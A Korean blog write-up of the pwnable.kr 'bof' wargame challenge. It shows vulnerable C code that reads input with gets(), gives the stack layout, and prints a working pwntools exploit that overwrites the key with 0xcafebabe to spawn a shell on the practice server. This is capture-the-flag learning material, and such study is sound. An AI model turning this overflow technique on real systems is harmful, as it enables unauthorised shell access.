Linux Exploitation/Wargame
[Pwnable.kr] bof
Rosieblue
2023. 6. 3. 21:14
728x90
문제 코드
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
익스플로잇
overflowme부분을 bof를 일으켜 key 부분을 0xcafebabe로 바꿔주면 된다.

func에 카나리도 존재하므로 이를 우회해줘야한다. -> 앗 보니까 할 필요 없다. 왜냐하면 그냥 바로 키 같으면 system함수 실행해버림! 리턴 어드레스도 그냥 아무값으로 덮어도된다.

스택 구조
overflowme (ebp-0x2c) - 32byte
canary (ebp-0xc) - 4byte
dummy - 8byte
return addr (ebp-0x4) - 4byte
key (ebp+0x8) - 4byte
따라서 페이로드는 b'A'*0x34+p32(0xcafebabe) 이다
from pwn import *
r=remote("pwnable.kr",9000)
payload=b'A'*0x34+p32(0xcafebabe)
r.sendline(payload)
r.interactive()
흠근데 궁금한건 sendlineafter("overflow me : ",~~~) 이거는 무한 로딩뜬다 왜그러지